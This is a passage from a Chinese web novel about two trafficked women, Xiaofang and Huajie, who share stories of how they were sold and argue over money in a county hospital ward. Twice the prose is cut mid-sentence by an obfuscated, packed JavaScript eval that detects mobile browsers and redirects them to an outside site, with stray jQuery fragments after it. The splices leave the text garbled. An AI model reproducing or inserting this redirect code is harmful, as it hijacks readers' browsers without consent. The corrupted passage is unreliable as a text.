花姐近乎仇恨地瞪他一眼,那人不知自己做错什么,又想该是这女人被前任的事刺激到了,所以看谁都顺眼,算了,他好男不跟女斗,懒得不计较。 她再朝长椅上望去,梅梅的眼神一刻不移地注视着她,非挑衅的,而是邀请,邀请她进行一场谈话。 花姐心里好笑:我和你能谈什么?谈男人?你想以炫耀的方式还我那一耳光,是吧? 她原可以忽视那眼神离去,但在不服输的花姐看来,转身离去不是潇洒,而是认输逃避。 好啊,花姐昂扬地走过去,背绷得笔直,行走的小白杨树。 逃避是败下阵,过分的紧绷则是虚张声势。 “脸好点了吗?”花姐气势很足地坐梅梅身旁,长椅年头久了,她猝然一坐,两人都跟着晃了晃。 梅梅笑了笑,没因为她的羞辱而拆穿她的伪装,人家两个分手,自己的责任赖不掉。 梅梅说:“我们医院的椅子也这样,人坐上去跟外面的投币摇摇机一样,小孩子最喜欢坐,还不用投币。” “你挺幽默的。”花姐说。她都替自己刚才的用力过臊得慌。 “你升职了,我先恭喜你。”当然是真心,别怀疑,我希望我男朋友的前任们都过得好,你们过好了才没工夫回过头来瞎想他。 “谢谢。”花姐说,“什么时候有你们好消息?” “我和她结婚对你来说可以算好消息吗?”我早看破你的佯装了,你绷着的一身劲把衣服都辗平展了。 “这重要吗?”花姐说,“反正对你们来说,算好消息不就行了?难道你们还要给我寄请帖?”千万别和我搞皆大欢喜的这套,我看起来像是那种,拿自己辛苦挣的钱去前任婚礼上送礼金、装大款的蠢女人? “当然不会。”梅梅不和她客套,“你那么漂亮,万一他突然瞥见你后悔了,拉着你跑我怎么办?” “别搞笑,梅小姐,这并不好笑。” “我没开玩笑。”梅梅说。这就是你的蠢处,你难道不知道闲书看多了的人,疯起来,什么书里的情节都想往现实里塞套? 梅梅又问道:“看过这本书吗?”她把封面亮给花姐看:《少年维特之烦恼》。 “梅小姐,别来羞辱我好吗?他都要做你家上门女婿了,会没和你讲过我最烦看书?这些书治失眠倒是很管用。”别把你迷倒他的路数用在我身上!我这人顶俗! “可惜了,你真该看看,看了你才知道你和他一开始就不合适。” “一本书就能看出两个人合不合适?”你鬼扯呢?那全天下不爱看书的人全都不合适? “别人我不知道,也没兴趣知道,小舟我很知道,他跟你讲过这本书吧?” 花姐补充道:“他跟我讲过他看过的每一本书!”怎么回事?我怎么还跟她先炫耀起来了? “是吗?”梅梅把书放下问,“那除了这本,你跟我讲讲还有哪些?我看看有没有我漏掉没看过的,得赶紧补上,以免他和聊起来没话题。”唬你的,我就是没看过,他和我也比和你有得聊。 花姐脑子里闪现出几本书来,但突然抽调出来颇吃力,像上学时考试那样,答案呼之欲出但就是不出。 梅梅耐心地等待花姐说,等待里充满怀疑、揭露、指控还有嘲讽。 但梅梅的怀疑、揭露、指控和嘲讽不是因为花姐叫不出书名,而是:你看,你过去对他多么马虎?你让他对你发起的那么多次谈话成了个人独秀,你对他的热情造成了多大的浪费?你简直是在对他施以精神虐待。 花姐有点慌了,这丫头是来给自己一场精神审判的?难道她用眼神把自己招来的目的,不是为了炫耀她把小舟搞到手了,而是来控诉自己当初没照顾好小舟? 妈的!花姐心里骂了句娘,老娘照顾好了还轮得到你?还有他一个成年人了,还整天等着别人照顾,属婴儿的?你爱照顾照顾去吧,你他妈的不是护士吗?你俩是天生一对了,行了吧? 花姐灵机一现,换了对招方式,“我真记不得了,不过信不信随你,反正我和他那时候不聊这些书,也能聊其他。”怎么样?我对你男人这方面的疏忽也是他迁就的,他愿意让我疏忽他。 “是吗?那你们聊什么呀?”梅梅满脸“还请赐教”的表情,那你就大方告诉我呗,让我和他以后有得聊。 “聊厂里、聊车间、聊彼此家里呀,还能聊什么?” 身旁这丫头家里条件好没得说,但男人嘛,碰上条件远好于自身的对象,对自身家庭总是含糊其辞的,她不信小舟把他的家庭向梅梅吐露的,比向自己吐露的多。 “你是不是在想我和他在家境上差很多,所以他是不会对我谈过多有关他家庭的,这样他会觉得汗颜?” 这婆娘无敌了,花姐想:念护士学的时候,害羞心理学? “你忘了,”梅梅笑起来,“我和他是从朋友开始的啊,朋友不就是无话不谈?”你和他都太好猜了,赢你让我几乎没有成就感。 花姐看懂她的笑了,有点阴森,但更多的是:全天下原配谁不输给这个小三?! 梅梅站起来把书放进书柜里,看了眼男工宿舍楼梯口,又坐下来对花姐说:“你应该也不想再坐这里和我浪费时间了吧?好吧,那接下来你听我说,你可以反驳我,但我想你也算聪明人,反驳我的大概不会太多。” 她不给花姐思索时间,便说:“你们的感情有好好开始过吗?我是说两个人的正式表白?你不觉得你们很像是谈了场恋爱给别人看吗?” “给谁看?”花姐问。她理解力还没跟上。 梅梅脖子向四周扭了一圈,“给你们周围的所有人看,你和他先是在彼此都没搞清自己对对方是怎样一种情感时,就被这些人推着在一起了。然后,你和他遇上误会、摩擦了,也不想着解决,而是任由这些人说三道四,让他们的言行影响你们的言行,恋爱谈成你们这样能不谈崩?” 花姐听梅梅讲完没立马感到有什么不对,生活里谁的感情不是这样?村里哪对相好、夫妻没被人评头论足过?照她这套理论,全国成对的男男女女都得崩,天下大乱得了。 梅梅又问:“你觉得你和他是爱情吗?” 爱情?肉麻得说出口都酸牙齿的词,这丫头怎么能面不改色地说? 好吧,花姐厚着脸皮说了,“我们谈的时候,我爱他,他也爱我,这不是爱情?” 她模棱两可的说法怎么会让梅梅信服呢? “我爸妈也很爱我,他们和我是爱情?爱也分很多种,但爱情却不是男女刚好凑一对,皮肉摩擦两下就可以叫爱情了。”我不和你细说,细说你也不能理解。 花姐不服气了,人你抢到手了,还要耀武扬威地来否定别人之前的全部情谊?这女人要是放在她老家,早给撕成烂布条了! “那你说说什么是爱情?”花姐问她。 “你至少得懂他吧?能懂一起才能睡一起,不然同床异梦也算爱情?那是解决生理需求。” 梅梅多么无情啊,她就用“生理需求”这四个不含任何情感色彩的词,抹杀了花姐和小舟过去最紧密的触碰和连接。 “你!”花姐动怒了,小舟好歹也是自己初恋,情窦初开的第一次轮得到这个小三上来推翻?上来质疑? “你下次该学聪明点,一个连在一起和分手,都没给出你正式邀请和答复的男人,他是真爱你?”梅梅玩把戏了,她利用花姐和小舟长久的不沟通,信息欠缺骗了花姐,她和小舟目前也不是情侣的关系啊。 花姐转过头,逼自己不把泪留下来,她的泪听话地没往外淌,全逆流进了心里。 “所以你还觉得你和他是爱情吗?” 没错,梅梅今天见到这个女人,就是想要告诉她,她和小舟的发生的所有都该是不作数的,小舟真正的爱情不属于这个女人,而是自己。而她,不过是小舟步入城市,恰巧孤独寂寞撞上的一座避风港、温柔乡罢了。 梅梅嘴在说,眼睛却不闲着,她盯见那边小舟从所在的宿舍楼层楼梯口往下走了,站起身说:“我走了。” 花姐这次败阵,败就败在平时对生活思考的过少,她从来是脑子够过日子就行,聪明过头了,折磨自己也折磨别人,这下吃瘪了。 照梅梅那套定律,非得彼此相知相解才叫“爱情”,那么“友情”该放到什么地方去? 还有,凭什么仅她一言之词就能定义“爱情”,这个千百年来那么多名人都没给出一锤定音定义的词? 34.晦气 今晚的县城303病房,灯亮了个通夜。 医院病房晃人眼的死白灯光,亮起来谁都别想好睡,但小芳的彻夜无眠与这光无关。 花姐用了半晚上时间向小芳讲述她的个人故事,像所有悲伤故事留下的遗留症候般,两个人今晚谁也没睡着。 小芳全程不发一言,她可以慷慨地给予安慰,但她明白,她的安慰说得再舌灿莲花,于花姐而言也是瞎话废话,遇上那样一个无敌小三,换自己除了动手,想不到别的收拾办法。 但对付小三,动手也跟输划等号了。 花姐闭上眼帘,她给自己制造了一个狭小安静、无人打扰的空间,暂时拒绝一切人事物的打扰。 小芳看着状若假寐的花姐,也陷入了神思,她把303病房两个女人的悲情往事拿出来互相比照,想比出来究竟谁更惨些,如果自己更惨,那就把自己的惨讲给花姐听当安慰了。 人和人最有效的安慰,不就是要么带当事人逃离?要么比当事人更惨吗? 小芳自己都跑不掉,能做的也只有后者了。 她在脑子里比货般把两个故事比来比去,半天没比出高下来,倒把自己比难过了,难过得鼻腔堵得闷闷的,大脑、心脏充斥着肿胀感,呼吸也变得困难,因为空气中悲伤的成分还在增加。 小芳比不下去了,鼻子酸胀一下,两眼泪水滚烫地流下来。 她把头埋进被子里哭,尽量不发出响动,为不打扰花姐,也为不让她的哭声感染另一个女人的流泪。 小芳哭得快把自己憋死了,才从被子里探出头来,呼吸一口悲伤成分很重的空气,理智稍稍回归,她才觉察到两个故事的微微出入:花姐讲半晚上,一个字也没提到她是怎么被拐到这里的啊? 这下两个故事比出结果了,花姐的故事再附加上她被拐卖来这里的一段,份量险胜小芳一筹。 小芳没辙了,她唯一能使出的安慰招数,在花姐那里不值一提。 两个女人就这样一个闭眼,一个睁眼地熬到天亮。 早上七点刚过,护士进来就给她们输液,护士走没多久,两个男人也前脚追后脚赶来了。 这两个通过人fan子娶到老婆的男人,在得知他们是同类后,生出了点搞竞赛的劲头,竞谁对谁女人更好,花姐的男人胜出孙少华老远,毕竟他和花姐孩子都有了。 花姐那位把家里熬的粥放床头柜上,絮絮地和她讲起家里的大儿子,说来说去无非就是:孩子想妈了。 他满嘴讨好地说:“要不要把他抱过来?抱过来我又怕他烦你,你休息不好。” 小芳觉得花姐的男人和孙少华相貌、脾性都挺像的,高大、随和,浑身透着勤劳和有力,这种男人看一眼就能把祖辈几代人干什么都猜出来。 昨夜的伤感还遗下些许余韵在花姐身上,导致她胃口很坏,心情很糟,她没好气道:“我怎么住进医院的?还不就是被你儿子给烦得摔了一跤,你还要让他来医院再烦我,把你老二也烦没了?” “我揍他了!”那男人急着抢白。 “跟你姓,你还能把他揍死揍残?” “那也是你儿子,你咋这么狠心?”男人声调中带着痛苦,得到人也得不到心的痛苦。 “他除了是我生的,其他和我有啥关系?谁见了都说长得像你。” “那这个一定像你!”他伸出手壮胆似的要放花姐肚子上。 花姐一把他手打开,贞洁烈妇的狠劲,“别碰我!” 旁观的小芳和孙少华看了却是各自生出各自的滋味。 小芳想她就是死了,也不会拿下半生和一个自己厌恶的男人过日子。 孙少华却从刚才竞赛的心里中走出来,生出一种物伤其类的悲哀,自己和小芳以后大概过的也是这种日子吧? 花姐男人又在她耳边唠叨了两句,一脸愁苦样是又担心她又怕烦着她,进病房没半个小时就满脸颓丧地出去了。 “你还不走?”小芳同样嫌孙少华烦,她嗓子能说话了,但说得很艰难,每开口一句都在喉咙里牵出一股痛。 “看你把饭吃了我再走。”孙少华跟她谈条件。 “看着你,我吃不下!”小芳说。 “那我走了你不吃咋办?”孙少华问。 “我在医院,我能死?”小芳反问他。 孙少华便也以同样的颓丧步花姐男人后尘出去了。 “姐,”小芳忍不住好奇,问她,“你既然那么讨厌他,为什么还要和他过日子,和他生孩子?” 花姐说:“我当初稀里糊涂被人卖来这里,心里生着冲天的委屈,跑又跑不掉,他一家人都把看着,然后我看他那么窝囊就想拿他出心里那股鸟气,天天跟他闹,想着他把我打死了也好,打死我就解脱了。” “可他偏偏又不打死我,妹子,你晓得不?我打他,他就任我打,捶得我自己手都肿了,他也忍着不还手,有次我火了,一个保温杯给他砸过去,额头马上就见血了,他妈要上来跟我拼命,他还死拦着他妈,不准他妈碰到我。” “你就被他感动了?姐?”如果是的话,小芳有点嫌花姐没骨气。 “怎么可能?”花姐受辱似的叫一声,“我当时想怎么没砸死他狗|日的,我就是去当劳改犯,也比跟他强!” “那你怎么......”怎么就屈服了? 花姐市侩地说:“后来细想下,横竖跑不出去,天天跟他闹、吵、打、砸,我也累了,过日子不就是靠混吗?既然他铁了心要对我好,那我该享受就享受,享受不了就挥霍。” 她也是带着这样破罐子破摔的心理和大武同|房的,那天大武照旧给她打来一盆洗脚水,她不知怎地就默准了让他给自己洗脚。 大武是个孝顺的男人——他买花姐也有孝顺的意图:传宗接代——自他爹病死后,每天给他妈打洗脚水洗脚的任务,就被他接手了。 大武给他妈洗了十多年的脚,手艺练得不错,进足浴店也勉强凑合顶替按摩师,他把花姐当他妈那样伺候得不敢偷奸耍滑,洗个脚把花姐身心都洗舒服了。 人的足底穴道很多,也许就是那天在大武按摩不小心按到了花姐足底通向心灵的穴道,两个人睡了。 但即便是睡,花姐对他的厌恶也没消退多少,她只把裤子脱到大|腿中段,只露出男女干这种事必须露出部位,其余全被衣服盖得严严实实。 花姐的意思,大武也懂了,凡是她衣服挡住的部位,他一律禁止触碰。 没挡住的部位只是两个男女例行公事,挡住的部位于花姐而言,那是动情的女人才能对男人显露的,她对这个男人直到现在还没动情的心思。 最后做完,花姐发现,自己和他干这种事,中途居然没多少恶心感,至少没想吐,当然快乐更没有,她认命地想,就把日子这样过下去吧,身边的男人虽然这辈子都不可能被她爱上,但拿来做个伴还是不错的。 有气时拿来撒撒气、发发火,他也不会反抗,不像她老家的许多男人,女人要是敢拿她们的男人像她这样消遣,早挨揍了。 那一刻,曾经自命不凡,十六岁就踩着一双回力球鞋南下的花姐看清了自己。 她和老家的许多女人其实没多大区别,她不过是胆子大些,敢把脚步踏入陌生世界,但遇上打击,在打击后碰上一个差强人意的男人,同样也是很轻易认命的。 小芳听完花姐自嘲又无奈地屈服心理历程后,警戒自己,先例 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638573|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在前,她可不能就这样轻易认命了,她心里还有没死的冲劲,谁也不能浇灭,她要在孙家兄弟好吃好喝的照料下,养得羽翼丰满,然后远走高飞。 小芳心里为自己激动打气一阵,又想到一处她没闹明白的,没心肝地问:“姐,你是怎么稀里糊涂被拐过来的?” 花姐好一会儿没说话,小芳在她的沉默坐立难安,骂自己嘴贱,啥都好奇,上赶着揭人伤疤。 花姐表情十分屈辱,自己恨自己没用的屈辱。 小芳急忙说:“姐,你不想说就算了啊,别被我一张贱嘴勾起伤心事,人fan子拐卖妇女能有多少花样?我怎么来的,你大致也是怎么来的。” 花姐开口了,自己抽自己耳光的语气,“没哪个有我脓包,就是我昨晚跟你讲的那个梅梅,和那婆娘谈了话的当天晚上,我气不过,跑到外面的烧烤摊上喝酒,自己跟自己喝,喝到半醉,有几个男女过来说要拼桌,我想着一个人喝也没劲就答应了。” 花姐歇了口气又说:“那几个人说话就跟下酒菜似的,被他们灌了多少我也不清楚,人醒过来就在那狗日家里了,全身都是酒臭。” “日他爷爷的,我就是太要强了,我要是像我们工厂女工们那样,心情不好买了啤酒在宿舍里几个女人喝,会落到被人卖的地步?我就是怕她们笑我,受不了她们笑我,这下好了,她们连我死活都不晓得了。” 小芳听了,苦笑一声:“姐,这些话你还真只能跟我说,你是醉得不省人事遭人卖,我还是上赶着去当赔钱货。” “啊?”花姐不信还能有人比她更脓包。 小芳也把自己到这里的来龙去脉说给花姐听,她讲自己是怎样被一个男人感动,那个男人拿着卖她的钱,带她在大城市花销享受,自己傻啦吧唧地用王国富卖她的钱,从身到心地款待了王国富一顿。 “两万块!”小芳伸出两根指头强调,“我妈那种老实巴交一辈子的人,你就是砸两千块在她面前,都能把她吓死!结果呢?她女儿被人家买了两万,一分彩礼她都没分到!” “让他们家给啊!”花姐吼得很理直气壮,“我看你那个也和我这个是差不多的没脾气,你就跟他闹,说你们那儿的女儿嫁出去至少标配彩礼是多少,往高了报,他妈的稀里马虎被弄到这种鸟不下蛋的地方,想让老子们给他们下蛋,还能受白被嫖的气??!” 小芳火上浇油地补充:“他们还说那两万块,是把家里积蓄都掏空了,另外借了外债才凑齐的。” “他们?”花姐眉头一皱。 “他家就只有他和他两个弟弟,最小那个在上军校。” “那天送你来那个就是他二弟是不?他二弟结婚没有?”花姐想了下,摇摇头,语气笃定,“我看是没结婚的!” “没!”小芳佩服她眼睛毒辣,“他说给那两万块他弟也凑了一半。” 花姐听了都替小芳悲哀,至少大武买她没欠任何外债,还有多余的钱把她当皇后供起来。 花姐说:“狗|日的,以后他不得拖着你还他弟的钱?他买你借的钱还要你省吃俭用地帮着还了?!没天理了!” 花姐没好把话说得太直白:没天理了,一个女人拿自己款待了人fan子,还要和买自己的人,一起还买自己的钱。 说完,花姐看了小芳一眼,“难怪你身上一点金的银的都没有。” 小芳更觉自己凄惨,怎么听起来她像是被两个男人出卖了两次呢? 王国富卖她卖了两万,孙少华买她还借了他弟弟一万,敢情自己既被卖了,还又要帮着还钱? 这样一想,更坚定了她要逃跑的决心,就凭受的这份屈辱,她也必须跑,跑得越远越好,离这地方近点都是晦气。 35.巨款 小芳在医院住到病差不多要好的时候,孙少华不知抽哪门子疯,神叨叨地要把小芳叫出去。 “干嘛?”小芳赖床上,没半点东动的意思,什么时候老娘也成你能使唤得的了? “你出来嘛!”他完全是求她了。 隔壁床把医院当宾馆住的花姐,也被他搞得心里不舒服,这病房就只住她和小芳两个,明摆着话要背着她讲,她不想碍他们事,有眼劲儿地下床往外面走。 “姐,你别走!”小芳叫住她,让她和孙少华独处一个病房,她膈应。 “怕什么?”花姐女流氓似的流氓起来,“怕他强|奸你?姐替你守在门外,他要是敢不规矩,你就叫,我马上冲进来救你!” 花姐那个“强|奸”把孙少华给伤到了,他要真起这种歪心思,犯得着在医院病房里作案? 有花姐的话,小芳心踏实了些,这几天她觉得自己也在不知不觉中对这个女人产生了依赖。 在花姐身边,她没有那种离群孤雁的孤独感,像找到了同类,人在陌生环境好不容易遇着一个同类,总想拼命靠近、抓住。 但她又不想彻底和花姐成为同类。 小芳始终不甘认命。 花姐把门带上,室内的气氛瞬间沉重,同时压迫着小芳和孙少华两个人。 小芳发觉住进这病房后,她是再不想回到孙少华家里去了,她想长久地住在这医院里,直到她离开这地方。 “有什么事赶紧说!”小芳催他,她心里祈祷,他可别说来接她出院,虽然她这感冒也该出院了。 孙少华没说话,只从兜里掏出一个小包来。 小芳看着他从里面拿出一叠崭新的最大面值人民币,她第一次见到那么厚一叠现款,一张张粉红色人民币堆叠出的光成精了般朝她尖叫。 “你干什么?”小芳目测至少有五千,她问,“你哪儿来这些钱?”语气里惊吓远大于惊喜。 “你拿着。”孙少华把钱递给她。 “我不要!”小芳把手甩开,仿佛那不是坨钱,是坨烙铁。 “钱你干嘛不要?!”难道你对我的厌恶连钱都救不了? “你这钱来路不明你就塞给我,我敢要?”我爱钱还没爱到不分青红皂白的地步。 “我跟人借的!”孙少华强调。 “你跟人借的钱你给我干嘛?”小芳半点没搞明白形势。 这要孙少华怎么说?说那天你把我赶出病房后,我在门外听见了你们的部分对话?你和你的病友都嫌我没拿出半分嫁妆给你? 这些话我怎么能够启齿?这些话光听就够让一个男人受辱了,复述一遍不是让他自取其辱? 这叠票票的来路说来还有几分惺惺相惜的义气。 住院这几天,小芳和花姐因为身世相同,处成了姐妹。 孙少华和大武接触几天,也相见恨晚起来,成了异姓兄弟。 大武家里条件比孙少华好很多,在县城经营一家点心铺,生意是一年到头的火旺。 他家点心铺点心的味道,孙少华在没认识大武前就尝过,没得挑,价钱也公允,生意好是他该的。 他想,难怪大武老婆比自己老婆胖那么多,原来是被这些糖油混合的面制品给撑肥的。 大武对此却很骄傲,他对孙少华说:“刚到我家时,我老婆比你老婆还瘦,说什么都不肯吃饭,闹绝食,女人多狠?狠起来自己命都不当回事,我还背着她来医院里打营养针!” 他把打营养针说得像吃燕窝般有面子。 “怎么?”大武问孙少华,“你老婆也是跟你闹着不吃饭?闹到进医院了?” 孙少华觉得大武一口一个“你老婆”十分受听,于是说:“我老婆是感冒了。” “抓住机会!”大武过来人般拍拍孙少康肩膀,“女人生病的时候最脆弱!”也最容易被男人钻空子,兄弟你可别错过。 “她看见我就烦!”孙少华也不见外了,把小芳对他的反感全倾吐了,连两个人至今还是生米的事都不隐瞒。 大武微微吃惊,不过转头想,自己当初和花姐能睡到一张床上,不也费了好多功夫? 大武把自己的先例讲出来安慰、鼓励孙少华说:“她当初狠起来是把我头都敲个洞,你媳妇能有我家的蛮?” 孙少华心想:那大概是你贴她贴得太烦,自己要是烦小芳烦得紧些,同归于尽是分分秒秒的事。 “别灰心!”大武指指不远处的一座座黄土高山,“当年红军长征也从我们这里走过了,女人还能比万里长征难搞?” 孙少华便说了那天两人一前一后离开后,花姐和小芳的谈话。 大武听了眉头一皱,自己女人在外面给自己惹了麻烦那种皱,他替花姐向孙少华道歉:“兄弟,这事怪我,我把他宠得无法无天了,家里撒野就算了,怎么别人家的事她也伸手了?回去我说她!” 孙少华笑笑,没搭腔,得了吧,你有那能耐就不至于跟我一样被轰出病房了。 大武又说:“但话说过来,我老婆说得难听可是事实啊,咱哥俩媳妇都是天远地远被骗来的,咱不使劲疼,人家怎么心甘情愿和咱做两口子?” 孙少华苦恼地笑笑,疼也要有那条件疼啊,金的银的男人谁不想往自己女人脖子四肢上套,可手头紧是现实啊! 大武审视地看了眼孙少华说:“兄弟,不是吧?你疼你媳妇就是嘴上说说,一天给她三顿饭?我老妈子养猪也这样养啊,你能说她疼猪?她是留着过年傻呀!” 孙少华索性把让自己愁苦的事,一股脑儿全说了,大家都是男人,男人也该理解男人。 大武沉思默想了会儿,一锤桌子道:“这样你给我打张欠条,就当是我们兄弟间相互帮助了,行了吧?” 孙少华不可置信地瞪大眼望着大武,骡马类牲畜震惊时就是这副表情。 “怎么?”大武曲解了他表情的含义,把不可置信曲解成了不情不愿,他说,“我还当你多稀罕你媳妇儿,结果主动借给你,你都不干!” “不是这样,”孙大华纠正他的曲解,“我是不相信你人这么好!” “说这些!你跟我一起到村镇银行,我取六千给你,你打张欠条给我就行了,利息......算了,我也不收你了,反正你到时间把钱还清给我就行了,看你家的和我媳妇儿也还处得不错,我媳妇儿......”他头痛地叹口气,“跟我全家都合不来。” 孙少华少见地阿谀道:“也是老哥你惯的吧?” 大武一脸又爱又恨的纠结模样,“有啥办法?娶都娶进来了!” 于是,六千块此刻就在孙少华和小芳手里打乒乓球般有来有回。 孙少华越不说来路,小芳越不收。 “拿着!” “不要!” “钱你都不要?” “就是走路上看地上一下有那么多钱我都不敢捡,更别说你给的!” 孙少华火了,他在村镇银行的取款机外面从大武手里接过钱时,自尊心都被刺痛了。 大武对他的慷慨是带着居高临下的,是一个富有的男人对另一个欠缺富有的男人的施舍和怜悯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642438|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大武钱借出去了,但虚荣心在孙少华身上找足了。 只有人和人借钱才会有这些麻烦,债务人损失的自尊心让债权人得到良好的自我膨胀感。 孙少华是毙了他也想不到,他丢出自尊心借来的钱,小芳嫌脏手似的不愿接。 孙少华把手里的钱渐渐攥紧,崭新的纸币被他捏出横的竖的斜的皱痕,那些纸币像感到疼痛般发出抽搐的“沙沙”声,刺得小芳耳膜难受。 小芳抬头看见孙少华额际蚯蚓似扭曲的青筋,她感到害怕,人被憋得想要发疯杀|人时,就是这种前兆。 她尽量不露痕迹地挪动身体,离这个不知什么时候会爆发,会发疯的男人越远越好,距离的远近和受伤害的程度关联很大。 小芳不出声地移动到花姐那张床位时,孙少华一拳头砸在病房墙上,那墙面大概贴了三分之一的长方形白瓷砖,他一拳上去,瓷砖裂成蜘蛛网。 花姐就在小芳撕心裂肺的尖叫声中破门而入,她骂道:“你狗日的还真敢在医院干龌龊事?!” 花姐冲进来,小芳的尖叫就跟出故障的收音机似的关不掉,她先是把小芳抱进怀里哄,又气不过地用最难听、最恶毒的话骂孙少华,连带着他、大武还有卖她和小芳的人fan子的份儿全发泄在孙少华身上。 她骂两句孙少华又低头哄小芳两句,可惜老天只给人配了一张嘴,花姐完全忙不过来。 亏她即便忙不过来,也没忙出错到把骂人和哄人的话弄混对象。 小芳的神志在花姐市井专业选手的骂声中恢复了些,忙让她住嘴。 人这种时候可不能激,一激什么事都干得出。 花姐骂尽兴了,才回过神注意到病床上粉红的一张张红票票,她摸不清头脑了。 门外有听见动静的护士赶进来,花姐又忙走到外面,圆了两句谎把她们骗出去。 那么多钱摆病床上,人越多越坏事,整不好警察都要招来。 两个护士抱怨两句“要吵要打别再医院闹,图方便闹完直接住院?”,就离开了。 花姐把门关上,一副一家之主的气势问:“啥子情况嘛,你小子今天揣一堆钱进医院耍阔?” 又转过去对小芳说:“你也没出息!大活人一个还被钱这种死东西、好东西给吓到!” 小芳委屈辩解道:“他非要我收这些钱!” 花姐像听见什么智障说话般,满脸都是不可思议,“你就因为这样跟他闹起来了。” 小芳点点头。 花姐恨不得上去一巴掌把小芳拍清醒,男人硬塞钱给你,你都不要,你是喜欢让你倒贴钱的?无怪你是被那种人fan子骗! “他给你你就收啊!”花姐强忍着不让自己说出难听又伤人的话。 “怎么来的他都不说,我敢收?!”小芳理直气壮。 哟,花姐想:小丫头道德感挺强,要是能念个大学,进了政|府部门,肯定是个没大作为但两袖清风的好官。 这年头好官不在于为群众做什么,不拿群众一针一线就是好官了。 “你傻啊,”花姐真上手给她脑袋一下了,贴着她耳语,“你管他是偷的抢的,还是卖血卖器官来的,你又不喜欢他,他心甘情愿的,还能赖到你头上去?” 小芳还想说什么,花姐一句话让她闭嘴了,“小丫头,你别以为姐姐我看不出来,你还是想跑是不是?想跑你就把钱收着!这年头没钱你朝哪儿跑?!” 花姐的话十分富有预见性,不久之后,孙少华从大武那里借来的六千成了支撑小芳逃亡之路的一笔巨款。 36.批发的女人和零售的女人 小芳在花姐警告意味很足的眼神下把钱收了。 见她把钱揣衣兜里了,花姐转眼换上一副和事佬面孔,居委会人员调节夫妻矛盾时用得翻不出新花样那种。 她说:“对嘛,夫妻就该这样嘛,男人挣钱养家,女人在家也就安安分分了。” 小芳在一旁很轻地扯了两下嘴角,花姐后脑勺长眼睛似的凶她一个眼风:打住,我晓得你丫头心里还不安分,但现在你收了钱,得给我安分! 小芳立马低眉顺眼了。 花姐对孙少华的态度完全转变了,丈母娘看女婿般满意,她说:“这辈子男人姐姐我见多了,再差劲我们做女人的都不怕,只要他肯听他女人话,别管女人多铁石心肠也得被你那颗真心熔了。” 小芳听得肉麻痒麻痒的,杀了她,她也做不到和孙少康凑成一对真夫妻。 花姐说几句好听、抚慰的话把孙少康劝走后,对小芳说:“条件是赶不上我家那个,可你也不至于反感他成这样啊,连他的钱都反感,你妈从小教你拾金不昧教过头了吧?” “姐,你忘了?我是被拐卖过来的!” 小芳认为这段起头就掺杂非法因素的男女关系,无论怎样弥补、纠正都是错误的,只有彻底结束它才是正确的。 花姐笑了,笑她天真:“从古至今管法律的人还赚非法的钱呢!就你正派?!少拿你的学生腔跟我扯,再说你不也就初中毕业?比人家上大学的鬼道理都多,大学生上大学,老师们还要教他们耍耍滑头呢!” 小芳心里替自己申辩:婚姻大事上我才不要耍滑头! 花姐看她不服气又不敢开腔的倔样,换种口气说:“女人找男人不就图个实惠嘛!只要他把你看得比他自己还重,你又何必死揪着你们头是开得好,还是不好。以前包办婚姻遇上好的还欢天喜地呢,就你不晓得好歹。” 小芳犟像头驴,“只要能过跑出去,我这辈子不找男人也行!” “喔哟,喔哟哟,”花姐叫得像只兴劲的母鸡,“不得了,你娃儿要是真跑出去了,我非要给你在县城里修做烈女祠不可!让我们这些被拐过来还认命过日子的女人,天天看你祠像受良心鞭打!” 确实该被鞭打,小芳心里说:拐卖的女人全像你们这样,轻易地就接受现实了,人fan子不更有恃无恐了,你们这些女人即是受害者,也是自己的加害者。 等等,小芳听见她的言外之意,讶然道:“你是说不仅是我们俩儿,连县城里都有不少被拐过来的女人?” “你才晓得?你以为我们的来路很稀罕?” “为什么?”小芳问,“这里的土质不仅缺水,还缺生不出女孩的女人吗?” 南水北调还不够,还要南女北运? “是啊!”花姐骗她,“我婆婆生四个都是儿子!你不赶紧跑快点,留下来生一窝儿子,以后你也愁给他们找媳妇!” “你少诓我!” “你还不至于笨得没救嘛!” 花姐不逗她了,虽然她觉得这丫头蠢迷迷的,逗起来还挺解闷,要是能留在这里跟自己作伴,随时见面就好了,但人各有志。 小芳感到稀奇,“这里的男人是嫌弃他们本地女人吗?怎么那么爱找人家外地拐过来的?把外地的拐来了,外地男人咋办?” 花姐说:“没办法,这里的人重男轻女。” 小芳不接受这个说烂了的借口,伍家村的人也重男轻女,但不至于媳妇都得缺到拐外地的吧? 小时候她老听年纪大的老一辈吓唬女娃娃们,说再不听话把你们按水缸里淹死,说有好多地方女娃娃一生下来就被按进水盆里淹死。 她不服气地问:“为啥?” 老人们说:“谁让你们女娃娃缺根家伙?” “啥子家伙!” “你问你爹去!” 小芳那时还真敢问,幸好她爹老伍常年喝酒喝得脸红润,替女儿羞臊也看不出。 老伍红着脸问:“你问这干啥?” 小芳拌蒜加葱地说:“他们说我生出来的时候你看我是个女娃,差点想把我淹死!” “哪个狗日的乱说的?!”老伍光火了,手猛捶一下桌子,“老子这辈子还就不想要儿子,我缺田少地的,要儿子干嘛?啃我这把老骨头下酒?!” 小小的小芳被她爹几句话,感动得心窝暖融融的,爹是爱她的! 